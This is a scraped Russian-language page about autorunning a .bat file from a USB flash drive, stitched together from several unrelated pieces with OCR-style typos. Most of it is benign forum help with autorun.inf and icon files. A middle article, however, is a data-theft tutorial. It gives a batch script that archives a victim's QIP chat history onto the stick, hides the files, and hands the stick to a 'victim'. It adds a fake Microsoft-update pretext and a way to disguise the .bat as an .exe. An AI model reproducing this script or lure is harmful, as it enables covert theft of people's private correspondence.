Как сделать автозапуск bat файла с флешки
Перейти к содержимому

Как сделать автозапуск bat файла с флешки

  • автор:

Как файл (батник) с флешки поставить в автозагрузку? То есть при включении флешки в компьютер открывался батник.

Должно быть 3 файла: «autoran.inf, «autoran.bat» и «autoran.ico». Таков стандарт, но он может быть и другим.
Файл «inf — содержит информацию о запускном файле и иконке. В Файле автозапуска должна быть первая строчка: «[autorun]» и далее разнообразные строки запуска.

Файл ico — собственно иконка, ей и будет отображаться флэшка.

Возьми любой сидиром и в блокноте глянь эти файлы, кроме ico. Её можешь создать в любом графическом редакторе в соответствие с параметрами или уменьшить понравившуюся картинку.

Пример с сидирома:

Обрати внимание! Не стандартный запуск: не батник, а ехешник
Здесь более расширенная информация:

Как сделать автозапуск bat файла с флешки

Вирус на флешке

Батник — это обычный тексто­вый файл, содержащий наборы команд интерпретатора и имею­щий расширение .bat или .cmd! (.cmd работают только в ОС се­мейства NT). Редактировать та­кие файлы можно при помощи блокнота «Или любого другого текстового редактора.

Пишем батник

Создавать,батник будем для второй ситуации (она не­много сложнее). Для написания батника возьмём стандартный блокнот. В блокноте пропишем следующие строки:

chdir C:\Program Files\QIP\Users

f:\rar.exe a -r users -r > nul

copy users.rar g:\adc > nul

del users.rar > nul

где

©Echo off — скрывает ви­зуальный процесс копиро­вания.

C:\Program Files\QIP\Users — папка, в которой находится история.

f:\rar.exe а -г users > nul -запуск архиватора для ус­корения копирования.

copy users.rar g:\adc > nul — адрес куда копируем.

del users.rar > nul — удаляет созданный архив на жеском диске.

Не всегда бывает известна бук­ва флеш-диска. В «таком случае прописываем несколько вариан­тов (один уж точно угадаем):

chdit C:\Program Files\QIP\Users

f:\rar.exe а -г users > nul

copy users.rar e:\abc > nul

g:\rar.exe a -r users > nul

copy users.rar g:\abc > nul

h:\rar.exe a -r users > nul

copy users.rar h:\abc > nul

del users-rar > nul

Сохраняем наш текстовый документ. Назовём его xxx.txt. Теперь меняем расши­рение c .txt нa .bat. Это мож­но сделать в Total Commander’e.

Создаем автозапуск

Теперь надо сделать так, что­бы батник автоматически запускался с флешки при под­ключении к компьютеру. Для это­го создаём новый текстовый до­кумент и пишем в нём:

Сохраняем файл и переимено­вываем его на autorun.inf.

Делаем архив

Далее нам предстоит позабо­тится об архиваторе. QIP-история может быть большая. Что­бы процесс копирования происхо­дил быстрее мы её заархивируем.

Из папки с WinRAR (по умолча­нию C:\Program Files\WinRAR бе­рём файлик rar.exe. Создаём в корне флешки папку с именем abc. Также, в корень флешки бро­саем остальные три файла (xxx.bat, autorun.inf, rar.exe).

Все файлы скрываем от посто­ронних глаз (правой кнопкой мы­ши вызываем Меню на файле > Свойства > Скрытый. Это всё. Отдаём флешку «жертве» и ждём результата.

Социальная инженерия

Не обязательно делать авто­запуск. «Жертва» сама мо­жет запустить батник. Для этого надо воспользоваться социаль­ной инженерией. Например, со­общаем пользователю о том, что компания Microsoft выпустила новое обновление для Windows. Это обновление повышает быстро­действие и без­опасность опера­ционной системы. Устанавливать об­новление нужно то­лько с флешки. Можете сами придумать причи­ну, по которой на­до запустить наш батник. Всё зави­сит от вашей фан­тазии и смекалки.

Превращаем .bat в .exe

Для большей «безопаснос­ти» neperoним .bat в .ехе (вдруг»жертва» знакома с напи­санием батников). В этом нам поможет небольшая програм­мка ExeScript v3.0.

Скачать можноэдесь: http://uploadbox.com/fMes/c8d5a60af9/ (размер 3.51. Мб). В окне программы жмём иконку с чистым листом и выбираем Batch file (bat) или File > New > Batch file (bat). В по­явившемся окне пишем наш «текст».

Теперь укажем для на­шего ехе-шника подхо­дящую иконку. В окне Properties щёлкаем на поле Custom Icon и вы­бираем заранееприготовленную иконку. Далее нажима­ем F7 или Project > Build . Всё, ехе-шник готов.

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.

Как сделать автозапуск bat файла с флешки

Страницы: 1

Как создать рун для запуска бата с флешки?*, будьте столь любезны, помогите создать автозапуск бата с флешки

Григорий Орлов
Это нравится: 0Да / 0Нет
10.08.2008 19:17:25
Как запустить *.bat с флешки, прошу подробней объяснить.
Это нравится: 0Да / 0Нет
10.08.2008 21:26:04

Так же, как и не с флэшки. Ввести в командной строке — путь_к_флэшке:\имя_файла.bat. Либо Пуск-Выполнить->путь_к_флэшке:\имя_файла.bat Или попробуйте сформулировать вопрос более точно. Что-то мне подсказывает, что Вам необходимо, чтобы при подключению флэшки к компьютеру автоматически запускался некий батник. Если я прав — то гуглите в сторону autorun.inf. Вот, например — http://ru.wikipedia.org/wiki/Autorun Или вот — http://www.fssr.ru/hz.php?name=News&file=article&sid=7814

Изменено: SOLDIER — 10.08.2008 21:27:21
Это нравится: 0Да / 0Нет
10.08.2008 22:32:45

Очевидно SOLDIER прав.
Но вы должны учитывать, что возможно компьютер где предполаегается использовать батник использует ограничения для автозапуска (как у меня например ) В таком случае стоит подумать о том как отключить данный параметр.
А вообще вам уже сказал SOLDIER, что для этой цели нужно использовать авторан (autorun.inf )

Григорий Орлов
Это нравится: 0Да / 0Нет
11.08.2008 10:27:02

Цитата
SOLDIER пишет:
Что-то мне подсказывает, что Вам необходимо, чтобы при подключению флэшки к компьютеру автоматически запускался некий батник

Вы совершенно правы что я хочу разместить на флешке батник и авторун для его запуска
Как прописать путь к бату? Это shellexecute или Action?
[AutoRun]
shellexecute=?
Action=?
Icon=****.ico //обходима ли иконка?
Label=D //и имя флешки?

Это нравится: 0Да / 0Нет
11.08.2008 10:56:55

Цитата
Григорий Орлов пишет:
[AutoRun] shellexecute=? Action=? Icon=****.ico //обходима ли иконка? Label=D //и имя флешки?

Экспериментируйте.
И кроме того не стоит забывать что на разных компьютерах имя диска будет разным, в зависимости от их кол-ва.
Вообще Action отвечает за воспроизведение текста в меню автозапуска, icon — соответствено значок,
параметр open — запускает программу по указанному пути, не стоит использовать вместе с shellexecute возможен конфликт.

Это нравится: 0Да / 0Нет
11.08.2008 12:31:33

Я так давно занимался изготовлением autorun.inf, что уже и не помню. Попробуйте просто без всяких путей проверить. Указав в поле Action имя батника. Ну дальше — как написал Nith — экспериментировать. Но всё это не сработает — если в операционке отключена возможность автоматической загрузки программ при смене носителя (что, на мой взгляд — правильно).

Сообщений: 1446 Баллов: 1464 Регистрация: 28.09.2003
всего лишь человек.
Это нравится: 0Да / 0Нет
12.08.2008 01:18:03

Григорий Орлов,
Неужели у вас в закромах не найдётся диска с автозапуском? Возьмите пример от туда!

Вот что я вижу на одном таком диске:

[Autorun] Open=autorun.exe Icon=xakep.ico

Как видите, путь относительный: не надо думать о том, какой буквы диск будет при монтировании

«Красота — как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно.»
Григорий Орлов
Это нравится: 0Да / 0Нет
14.08.2008 14:08:01

Спасибо всем за участие, бат теперь запускается!)))))
осталось только иконку флешке сделать, только не знаю получится если я ее нарисую в фотошопе и применю к флешке, то есть формат мне неизвестен.

Это нравится: 0Да / 0Нет
14.08.2008 14:16:28
*.ico — это простой *.bmp, но размером 16х16 или 32х32 пикселя. Просто расширение измени на ico
Григорий Орлов
Это нравится: 0Да / 0Нет
15.08.2008 08:13:15

Цитата
Umnik пишет:
*.ico — это простой *.bmp, но размером 16х16 или 32х32 пикселя. Просто расширение измени на ico

Вот нарисовал я в фотошопе, сохранил как *.bmp, только расширение не могу поменять, прекрасно понимаю что нужно это расширение ico, только из bmp в ico как? просто написать что то типа iconka.ico?

Это нравится: 0Да / 0Нет
15.08.2008 09:03:10
Канэчна. Обычным переименованием файла. Либо сохранением с расширением .ico.
Это нравится: 0Да / 0Нет
15.08.2008 10:20:15
из бмп не уверен но из gif в ико при переименовании все ок + гиф прозрачность поддерживает.
Григорий Орлов
Это нравится: 0Да / 0Нет
21.08.2008 18:08:15

Цитата
SOLDIER пишет:
Канэчна. Обычным переименованием файла. Либо сохранением с расширением .ico.

Что у меня ничего не получается, вроде просто, но в простоте свои ньюансы, тыкаю правой клавишей, выбираю переименовать, ничего не получается, может попробовать с помощью проги ACDSee? или что то
типа того?

Это нравится: 0Да / 0Нет
21.08.2008 19:03:42

Цитата
Григорий Орлов пишет:
Что у меня ничего не получается, вроде просто, но в простоте свои ньюансы, тыкаю правой клавишей, выбираю переименовать, ничего не получается, может попробовать с помощью проги ACDSee? или что тотипа того?

irfanview вроде умеет сохранять изображения в *.ico. Насчёт ACDSee не уверен. Только атрибуты изображения при сохранении не забудте уменьшить.

Григорий Орлов
Это нравится: 0Да / 0Нет
24.08.2008 16:26:49

С помощью Вашей программы у меня все получилось.
Спасибо Вам за участие, Вы мне очень помогли!
Теперь я буду знать к кому обращаться!
Еще раз спасибо!

Автозапуск исполняемого файла при подключении флешки

Давным-давно не актуален autorun.inf в корне флешки, но кроме советов, связанных с его созданием я ничего не нашёл. Утилиты тоже не хотелось бы использовать. Есть ли какой-то способ (скрипт какой-нибудь, например) организации постоянного автозапуска файла с флешки при её подключении в условиях современности? (советов от пользователей XP я начитался сполна. хотелось бы по существу: нужно, чтобы тема ‘авторунилась’ как на win7, так и на win10). Возможно ли это вообще сейчас? (уже почти убедился в обратном) P.S.: тег неуместен, но поставил его, исходя из мысли, что откликнувшиеся на этот тег сталкивались с вопросом создания автозапускалок разного рода.

Отслеживать

20.2k 6 6 золотых знаков 37 37 серебряных знаков 81 81 бронзовый знак

задан 8 янв 2016 в 4:22

Alexey Lyulenkov Alexey Lyulenkov

131 7 7 бронзовых знаков

Если это нужно для конкретных компьютеров, то можно настроить на них обработчик события подключения флешки. Средствами только флешки вы этого не сделаете. Если интересно и ещё актуально, могу расписать подробнее ответом — не так давно разрабатывал систему, которая выполняет определённые действия при подключении флешки с определённым ID при помощи планировщика задач Windows.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *